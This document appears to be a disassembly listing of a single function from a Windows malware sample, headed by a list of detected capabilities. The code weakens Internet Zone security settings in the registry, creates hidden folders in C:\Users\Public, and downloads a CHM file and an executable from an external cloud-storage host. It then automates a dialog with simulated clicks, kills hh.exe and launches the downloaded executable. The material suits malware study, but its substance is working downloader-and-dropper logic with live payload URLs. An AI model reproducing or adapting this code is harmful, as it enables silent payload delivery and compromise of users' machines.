Function at 0x413350
Capabilities:
Contain obfuscated stackstrings
Create directory
Create process on windows
Download url
Receive data
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x184
push ebx
push esi
push edi
push 4
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0
push eax
push 4
push str.1201
push str.SOFTWAREMicrosoftWindowsCurrentVersionInternet_SettingsZones0
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
push 0
push str.C:UsersPublicDocumentsMicrosoft
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
movaps xmm0, xmmword [0x41c3f0]
lea eax, [ebp - 0x58]
mov esi, dword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmmword [ebp - 0x98], xmm0
push 0
movaps xmm0, xmmword [0x41c400]
movups xmmword [ebp - 0x88], xmm0
push 0
movaps xmm0, xmmword [0x41c440]
push eax
movups xmmword [ebp - 0x78], xmm0
lea eax, [ebp - 0x98]
mov dword [ebp - 0x68], 0x6c507974
movaps xmm0, xmmword [0x41c430]
movups xmmword [ebp - 0x58], xmm0
push eax
movaps xmm0, xmmword [0x41c460]
push 0
mov dword [ebp - 0x64], 0x72657961
mov dword [ebp - 0x60], 0x6c6c642e
mov byte [ebp - 0x5c], 0
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], 0x50797469
mov dword [ebp - 0x34], 0x6579616c
mov dword [ebp - 0x30], 0x6c642e72
mov word [ebp - 0x2c], 0x6c
call esi
movaps xmm0, xmmword [0x41c3f0]
lea eax, [ebp - 0xd0]
movups xmmword [ebp - 0x144], xmm0
push 0
movaps xmm0, xmmword [0x41c400]
movups xmmword [ebp - 0x134], xmm0
push 0
movaps xmm0, xmmword [0x41c410]
push eax
movups xmmword [ebp - 0x124], xmm0
lea eax, [ebp - 0x144]
mov dword [ebp - 0x114], 0x6578652e
movaps xmm0, xmmword [0x41c430]
movups xmmword [ebp - 0xd0], xmm0
push eax
movaps xmm0, xmmword [0x41c470]
push 0
mov byte [ebp - 0x110], 0
movups xmmword [ebp - 0xc0], xmm0
mov dword [ebp - 0xb0], 0x78652e64
mov word [ebp - 0xac], 0x65
call esi
movaps xmm0, xmmword [0x41c430]
lea eax, [ebp - 0x10c]
push 0
push 0
push eax
movups xmmword [ebp - 0x10c], xmm0
lea eax, [ebp - 0x98]
mov dword [ebp - 0xdc], 0x72657961
movaps xmm0, xmmword [0x41c420]
movups xmmword [ebp - 0xfc], xmm0
push eax
movaps xmm0, xmmword [0x41c450]
push 0
movups xmmword [ebp - 0xec], xmm0
mov dword [ebp - 0xd8], 0x6c6c642e
mov byte [ebp - 0xd4], 0
call esi
push 0
push 0
push str.C:UsersPublicDocumentsMicrosoft_
lea eax, [ebp - 0x144]
push eax
push 0
call esi
push 0
push 0
push str.C:UsersPublic1.CHM
push str.https:__titi2_3.oss_cn_hangzhou.aliyuncs.com_qd.CHM
push 0
call esi
push 0
push 0
push str.C:UsersPublic1.exe
push str.https:__titi2_3.oss_cn_hangzhou.aliyuncs.com_md.exe
push 0
call esi
push 2
push str.C:UsersPublicDocuments_
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push 0x38
lea eax, [ebp - 0x17c]
mov dword [ebp - 0x180], 0x3c
push 0
push eax
call fcn.00402c00
add esp, 0xc
mov dword [ebp - 0x17c], 0x400
lea eax, [ebp - 0x180]
mov dword [ebp - 0x174], str.open
mov dword [ebp - 0x170], str.shell:::2559a1f3_21d7_11d4_bdaf_00c04f60b9f0
mov dword [ebp - 0x164], 1
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
nop dword [eax]
push 0x41a04c
push str.32770
call dword [sym.imp.USER32.dll_FindWindowA]
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x20], eax
call fcn.00401190
mov ecx, dword [ebp - 0x24]
cmp ecx, 0x7fffffff
jg 0x4135d2
mov eax, dword [ebp - 0x28]
jl 0x4135c2
cmp eax, 0xfa0a1eff
jae 0x4135d2
add eax, 0x5f5e100
mov dword [ebp - 8], eax
adc ecx, 0
mov dword [ebp - 0xc], ecx
jmp 0x4135e0
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 0xc], 0x7fffffff
call fcn.0040132b
mov esi, eax
mov ebx, edx
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], ebx
call fcn.00401314
mov ecx, eax
cmp esi, 0x989680
jne 0x413617
test ebx, ebx
jne 0x413617
mov eax, edx
mov edi, 0x64
mul edi
mov esi, eax
mov eax, ecx
mul edi
add esi, edx
mov edx, eax
jmp 0x413665
push ebx
push ebx
push esi
push edx
push ecx
call fcn.00411da0
mov esi, ebx
pop ebx
push 0
push 0x3b9aca00
push esi
push ecx
mov ebx, eax
mov edi, edx
call fcn.00411d60
push dword [ebp - 4]
push dword [ebp - 0x14]
push edx
push eax
call fcn.00413990
mov dword [ebp - 4], eax
mov esi, edx
mov ecx, 0x3b9aca00
mov eax, edi
mul ecx
mov edx, 0x3b9aca00
mov ecx, eax
mov eax, ebx
mul edx
add ecx, edx
mov edx, dword [ebp - 4]
add edx, eax
adc esi, ecx
mov dword [ebp - 4], edx
cmp esi, dword [ebp - 0xc]
jg 0x41371c
jl 0x41367c
cmp edx, dword [ebp - 8]
jae 0x41371c
call fcn.004013a3
push 0
push 0x64
push edx
push eax
call fcn.00411d60
mov ecx, dword [ebp - 0xc]
mov edi, eax
mov eax, dword [ebp - 8]
mov ebx, edx
sub eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
sbb ecx, esi
mov dword [ebp - 4], ecx
mov edx, ecx
mov ecx, eax
call fcn.00413a40
comisd xmm0, xmmword [0x41c3e8]
mov esi, edi
mov eax, ebx
jbe 0x4136cf
add esi, 0xad160000
mov ecx, 0xad160000
mov edx, 0x311cd
adc eax, 0x311cd
jmp 0x4136d9
mov ecx, dword [ebp - 0x14]
add esi, ecx
mov edx, dword [ebp - 4]
adc eax, edx
add edi, ecx
mov dword [ebp - 0x14], eax
push 0
push 0x3b9aca00
adc ebx, edx
push ebx
push edi
call fcn.00413990
mov dword [ebp - 0xa8], eax
imul eax, eax, 0x3b9aca00
mov dword [ebp - 0xa4], edx
sub esi, eax
lea eax, [ebp - 0xa8]
push eax
mov dword [ebp - 0xa0], esi
call fcn.00401427
add esp, 4
jmp 0x4135e0
cmp dword [ebp - 0x20], 0
je 0x413590
push 0x41a04c
push str.32770
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, dword [sym.imp.USER32.dll_FindWindowExA]
mov ebx, eax
push 0
push str.ComboBox
push 0
push ebx
call esi
push 0x41a068
push str.Button
push 0
push ebx
mov edi, eax
call esi
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, eax
push str.C:UsersPublic1.CHM
push 0
push 0xc
push edi
call esi
push 0
push 1
push 0x201
push ebx
call esi
push 0
push 0
push 0x202
push ebx
call esi
push 0
push 1
push 0x111
push ebx
call esi
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x3e8
call esi
push 0
push str.taskkill__f__im_hh.exe
call dword [sym.imp.KERNEL32.DLL_WinExec]
push 0x13880
call esi
push 1
push 0
push 0
push str.C:UsersPublic1.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret